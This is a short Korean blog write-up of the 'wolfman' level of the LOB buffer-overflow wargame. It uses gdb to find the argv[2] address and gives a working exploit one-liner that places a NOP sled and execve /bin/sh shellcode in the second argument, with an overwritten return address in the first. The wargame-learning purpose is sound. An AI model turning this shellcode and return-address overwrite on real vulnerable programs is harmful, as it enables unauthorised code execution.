어떤 파일이 있는지 확인하고 bash2 쉘로 변경한후 코드를 확인한다.

 

앞문제와 크게 다를 건 없다 //buffer 헌터가 추가 되어서 buffer에 쉘코드를 집어 넣을수 없게 되었다.

gdb를 사용하여 strcpy가 main+189에 호출되는것을 확인 할 수 있다.

main+197에 break을 걸고 argv[2]를 이용하기 위해 값을 입력하여 주소를 찾도록한다.

 

을 사용해서 두번째 인자의 시작지점을 찾아냈다.

0xbffffc45 대략 bffffc50정도로 잡고 패이로들르 작성해주면 될 것 같다.

./wolfman `python -c 'print "\x90"*44+"\x50\xfc\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

첫번째 인자로는 더미값과 ret 주소가 쉘코드쪽을 가르키도록 값을 넣어준다.

두번째 인자는 NOP sled를 이용하기 위한 NOP값과 바로 뒤에 쉘코드를 넣어준다.

획득했다

'Challenge > LOB' 카테고리의 다른 글

LOB-orge  (0) 2020.04.12
LOB-darkelf  (0) 2020.04.11
LOB-orc  (0) 2020.04.11
LOB-goblin  (0) 2020.04.10
LOB-cobolt  (0) 2020.04.10

+ Recent posts